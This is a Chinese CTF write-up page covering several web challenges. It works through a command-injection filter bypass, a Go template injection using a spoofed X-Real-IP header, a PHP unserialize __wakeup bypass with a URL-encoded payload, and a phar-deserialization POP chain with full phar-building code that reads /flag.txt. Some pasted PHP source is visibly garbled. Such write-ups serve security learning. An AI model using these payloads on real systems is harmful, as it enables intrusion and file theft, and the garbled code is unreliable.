NSSCTF第12页(1)

[FSCTF 2023]细狗2.0

应该是和[HUBUCTF 2022 新生赛]ezsql搞混掉了

点击按钮出现了

发现输入什么回显什么

伪协议也不行

看源代码发现了这个玩意

输入了1;发现了其他回显

ls 发现了两个文件

发现被限制了

不知道是cat还是空格

绕过

直接找吧还是 得到flag

[SCTF 2021]loginme

标签提示说是CVE-2020-28483

只有本地才能通过

xff,X-Clien-IP,X-Real-IP都是本地,用bp试试

最后用 X-Real-IP:127.0.0.1 成功

硬是没扫出来,源码也没给,看网上wp找到payload

?id=0&age={{.Password}},得到flag,这道题是一个go语言的ssti

这两篇是大佬的博客

SCTF2021__loginme_loginme go-CSDN博客

https://www.cnblogs.com/seizer/p/17035739.html -Loginme

[HNCTF 2022 WEEK2]easy_unser

源代码:

<?php
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);

if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>

人类最大的敌人,就是无序. Yahi param vaastavikta hai!

We Come To HNCTF,Enjoy the ser14l1zti0n

代码解释

  1. include 'f14g.php';:包含一个名为 'f14g.php' 的文件。

  2. error_reporting(0);:禁用错误报告。

  3. highlight_file(__FILE__);:将当前文件的源代码进行高亮显示。

  4. class body{...:定义一个名为 body 的类。

    • private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";:声明了私有属性 $want$todonothing,并初始化 $todonothing 为一个字符串。

    • public function __construct($want){...:定义了构造函数 __construct(),接受一个参数 $want

    • function __wakeup(){...:定义了 __wakeup() 魔术方法,当对象被反序列化时会被调用。

    • function __destruct(){...:定义了析构函数 __destruct(),当对象被销毁时会被调用。

  5. class unserializeorder{...:定义一个名为 unserializeorder 的类。

    • public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";:声明了一个公共属性 $CORE,并初始化为一个字符串。

    • function __sleep(){...:定义了 __sleep() 魔术方法,当对象被序列化时会被调用。

    • function __toString(){...:定义了 __toString() 魔术方法,当对象被当作字符串使用时会被调用。

  6. $obj = new unserializeorder();:创建一个 unserializeorder 类的对象 $obj

  7. echo $obj;:将 $obj 对象输出,触发 __toString() 魔术方法。

  8. $obj = serialize($obj);:将 $obj 对象进行序列化,将其转换为字符串。

  9. if (isset($_GET['ywant'])) {...:检查是否存在名为 ywant 的 GET 参数。

    • $ywant = @unserialize(@$_GET['ywant']);:尝试将 $_GET['ywant'] 参数进行反序列化,使用 @ 符号来抑制可能出现的错误。

    • echo $ywant;:输出 $ywant,触发 __toString() 魔术方法。

首先要做的就是绕过__wakeup() 魔术方法,他会把反序列化的want变量变成but变量

只需要改一下body的值就可以

highlight_file() 函数对文件进行语法高亮显示
__destruct()销毁对象时调用

仔细研究题目,只需要执行__destruct()函数内容,绕过下面判断即可

function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

序列化

payload:

O:4:"body":2:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
绕过__wakeup()

O:4:"body":3:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
url 编码

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bi%3A1%3B%7D

得到flag

[CISCN 2019华北Day1]Web1

源代码没什么提示,注册一个上去看看

发现用管理员可以注册,然后除了上传文件啥也没得

扫一下

上传一句话木马发现被限制了

就算你上传 1.php 文件,他也会自动改成png 格式。

抓包修改上传发现有了文件。下载的那种.....

看大佬的博客发现又有新东西,上传路径可控,就可以下载其根目录下的文件---文件任意下载

这里需要注意一个细节,按照惯例和经验,我们上传的文件是放在 网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录

上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。

抓包看 ,确实如此

index.php

class.php

<?php

error_reporting(0);

$dbaddr = "127.0.0.1";

$dbuser = "root";

$dbpass = "root";

$dbname = "dropbox";

db = new mysqli(dbaddr, dbuser, dbpass, $dbname);

class User {

public $db;

public function __construct() {

global $db;

this-\>db = db;

}

public function user_exist($username) {

stmt = this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

stmt-\>bind_param("s", username);

$stmt->execute();

$stmt->store_result();

count = stmt->num_rows;

if ($count === 0) {

return false;

}

return true;

}

public function add_user(username, password) {

if (this-\>user_exist(username)) {

return false;

}

password = sha1(password . "SiAchGHmFx");

stmt = this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");

stmt-\>bind_param("ss", username, $password);

$stmt->execute();

return true;

}

public function verify_user(username, password) {

if (!this-\>user_exist(username)) {

return false;

}

password = sha1(password . "SiAchGHmFx");

stmt = this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");

stmt-\>bind_param("s", username);

$stmt->execute();

stmt-\>bind_result(expect);

$stmt->fetch();

if (isset(expect) \&\& expect === $password) {

return true;

}

return false;

}

public function __destruct() {

$this->db->close();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct($path) {

$this->files = array();

$this->results = array();

$this->funcs = array();

filenames = scandir(path);

key = array_search(".", filenames);

unset(filenames\[key]);

key = array_search("..", filenames);

unset(filenames\[key]);

foreach (filenames as filename) {

$file = new File();

file-\>open(path . $filename);

array_push(this-\>files, file);

this-\>results\[file->name()] = array();

}

}

public function __call(func, args) {

array_push(this-\>funcs, func);

foreach (this-\>files as file) {

this-\>results\[file->name()][func\] = file->$func();

}

}

public function __destruct() {

$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';

$table .= '<thead><tr>';

foreach (this-\>funcs as func) {

table .= '\' . htmlentities(func) . '</th>';

}

$table .= '<th scope="col" class="text-center">Opt</th>';

$table .= '</thead><tbody>';

foreach (this-\>results as filename => $result) {

$table .= '<tr>';

foreach (result as func => $value) {

table .= '\' . htmlentities(value) . '</td>';

}

table .= '\$table .= '</tr>';

}

echo $table;

}

}

class File {

public $filename;

public function open($filename) {

this-\>filename = filename;

if (file_exists(filename) \&\& !is_dir(filename)) {

return true;

} else {

return false;

}

}

public function name() {

return basename($this->filename);

}

public function size() {

size = filesize(this->filename);

$units = array(' B', ' KB', ' MB', ' GB', ' TB');

for (i = 0; size >= 1024 && i \< 4; i++) $size /= 1024;

return round(size, 2).units[$i];

}

public function detele() {

unlink($this->filename);

}

public function close() {

return file_get_contents($this->filename);

}

}

?>

download.php

login.php

<?php

session_start();

if (isset($_SESSION['login'])) {

header("Location: index.php");

die();

}

?>

<!doctype html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<meta name="description" content="">

<title>登录</title>

<!-- Bootstrap core CSS -->

<link href="static/css/bootstrap.min.css" rel="stylesheet">

<style>

.bd-placeholder-img {

font-size: 1.125rem;

text-anchor: middle;

}

@media (min-width: 768px) {

.bd-placeholder-img-lg {

font-size: 3.5rem;

}

}

</style>

<!-- Custom styles for this template -->

<link href="static/css/std.css" rel="stylesheet">

</head>

<body class="text-center">

<form class="form-signin" action="login.php" method="POST">

<h1 class="h3 mb-3 font-weight-normal">登录</h1>

<label for="username" class="sr-only">Username</label>

<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>

<label for="password" class="sr-only">Password</label>

<input type="password" name="password" class="form-control" placeholder="Password" required>

<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>

<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>

<p class="text-muted">&copy; 2018-2019</p>

</form>

<div class="top" id="toast-container"></div>

</body>

<script src="static/js/jquery.min.js"></script>

<script src="static/js/bootstrap.bundle.min.js"></script>

<script src="static/js/toast.js"></script>

</html>

<?php

include "class.php";

if (isset($_GET['register'])) {

echo "<script>toast('注册成功', 'info');</script>";

}

if (isset(_POST\["username"\]) \&\& isset(_POST["password"])) {

$u = new User();

username = (string) _POST["username"];

password = (string) _POST["password"];

if (strlen(username) \< 20 \&\& u->verify_user(username, password)) {

$_SESSION['login'] = true;

_SESSION\['username'\] = htmlentities(username);

sandbox = "uploads/" . sha1(_SESSION['username'] . "sftUahRiTz") . "/";

if (!is_dir($sandbox)) {

mkdir($sandbox);

}

_SESSION\['sandbox'\] = sandbox;

echo("<script>window.location.href='index.php';</script>");

die();

}

echo "<script>toast('账号或密码错误', 'warning');</script>";

}

?>

delete.php

接下来就是代码审计了

在class.php里看到了file_get_contents()函数,这个函数可以用来读取文件

首先是定义的 close 函数,我们跳转到哪里调用了这个close()

跟进代码,看到是User类 的__destrust() 调用了 close()

所以我们简单的逻辑 就是: User-> __destruct() =>File -> close() -> 读取flag。

发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。

这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。

在 File类中的 open()方法,会给this-filename = filename. download.php和delete.php里存在 但是download.php会受到init_set("openbase_dir",) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 file-\>open()里的file_exists()函数 和 file->delete()的unlink()函数会触发phar反序列化

POP利用链思路:

上传phar文件

这里可以在upload上传文件,对于PHP,是以关键标识 __HALT_COMPILER();?> 识别phar文件的,所以文件后缀对文件识别没有影响

改成 gif/jpg/png 后缀

后端触发反序列化

upload.php中filename、delete.php中filename可控

unlink、file_get_contents、isdir、file_exists这些函数在处理 phar文件时都会触发反序列化

但是注意到 upload.php中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php来触发

执行魔术方法、读取指定文件

如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;

注意到 User类中在 __destruct时调用了close(),按原逻辑,db应该是mysqli即数据库对象,但是我们可以构造db指定为 File对象,这样就可以读取到文件了。

可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 this-\>results\[file->name()][func\],刚好我们利用这一点:让 db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results

返回读取结果

__destruct正好会将 this-\>results\[file->name()][$func]的内容打印出来

pop链

<?php

class User {

public $db;

public function __construct(){

$this->db=new FileList();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct(){

$this->files=array(new File());

$this->results=array();

$this->funcs=array();

}

}

class File {

public $filename="/flag.txt";

}

$user = new User();

$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar

$phar-> startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub

phar-\>setMetadata(user); //将对象user写入到metadata中

$phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy

$phar->stopBuffering();

生成phar文件,在用phar伪协议利用一下就行

上传成功

因为download.php文件中 open_basedir 限制了当前程序可以访问的目录

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

因此我们只能用 delete.php 去触发phar反序列化

生成的phar文件后缀为jpg上传,

然后连接

得到flag

参考资料:

[CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客

[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_ciscn2019 dropbox_Red snow的博客-CSDN博客 [CISCN2019 华北赛区 Day1 Web1]Dropbox_snowlyzz的博客-CSDN博客

[FSCTF 2023]Hello,you

不知道为啥我这道题环境不行 payload:ta\c f*

相关推荐
喜欢踢足球的老罗4 小时前
自动化模型管理:MediaPipe Android SDK 中的模型文件下载与加载机制
android·运维·自动化
AgilityBaby6 小时前
Untiy打包安卓踩坑
android·笔记·学习·unity·游戏引擎
硬件学长森哥7 小时前
Android音视频多媒体开源框架基础大全
android·图像处理·音视频
二流小码农8 小时前
鸿蒙开发:CodeGenie万能卡片生成
android·ios·harmonyos
没有了遇见8 小时前
Android 直播间动画动画队列实现
android
月山知了8 小时前
Android有的命令不需要root权限,有的命令需要root权限是如何实现的
android
科技道人9 小时前
Android 实体键盘 设置默认布局
android·实体键盘·设置默认键盘语言
SHUIPING_YANG10 小时前
tp3.1临时连接指定数据库,切片分类in查询,带过滤需要的数据
android·数据库
前端呆猿10 小时前
Vuex:Vue.js 应用程序的状态管理模式
android·vue.js·flutter
望佑10 小时前
Jetpack Compose 入门:从默认工程到实战开发
android